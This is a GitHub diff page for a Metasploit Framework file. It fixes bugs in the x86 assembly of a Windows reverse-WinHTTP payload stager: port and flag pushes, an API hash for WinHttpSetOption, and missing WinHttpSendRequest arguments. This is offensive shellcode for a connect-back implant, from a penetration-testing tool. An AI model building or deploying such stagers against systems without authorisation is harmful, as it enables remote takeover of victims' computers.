File tree Expand file tree Collapse file tree 1 file changed +5
-5
lines changed
lib/msf/core/payload/windows Expand file tree Collapse file tree 1 file changed +5
-5
lines changed Original file line number Diff line number Diff line change @@ -159,7 +159,7 @@ def asm_reverse_winhttp(opts={})
159
159
160
160
WinHttpConnect:
161
161
push ebx ; Reserved (NULL) [4]
162
- push.i32 #{ opts [ :port ] } ; Port [3]
162
+ push #{ opts [ :port ] } ; Port [3]
163
163
call got_server_uri ; Double call to get pointer for both server_uri and
164
164
server_uri: ; server_host; server_uri is saved in EDI for later
165
165
db #{ encoded_url }
@@ -170,7 +170,7 @@ def asm_reverse_winhttp(opts={})
170
170
171
171
WinHttpOpenRequest:
172
172
173
- push.i32 #{ http_open_flags }
173
+ push.i32 #{ "0x%.8x" % http_open_flags }
174
174
push ebx ; AcceptTypes (NULL) [6]
175
175
push ebx ; Referrer (NULL) [5]
176
176
push ebx ; Version (NULL) [4]
@@ -198,7 +198,7 @@ def asm_reverse_winhttp(opts={})
198
198
push eax ; &buffer
199
199
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
200
200
push esi ; hHttpRequest
201
- push 0xd83c501e ; hash( "winhttp.dll", "WinHttpSetOption" )
201
+ push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
202
202
call ebp
203
203
^
204
204
end
@@ -207,8 +207,8 @@ def asm_reverse_winhttp(opts={})
207
207
send_request:
208
208
209
209
WinHttpSendRequest:
210
- ; Context [7]
211
- ; TotalLength [6]
210
+ push ebx ; Context [7]
211
+ push ebx ; TotalLength [6]
212
212
push ebx ; OptionalLength (0) [5]
213
213
push ebx ; Optional (NULL) [4]
214
214
push ebx ; HeadersLength (0) [3]
You can’t perform that action at this time.
0 commit comments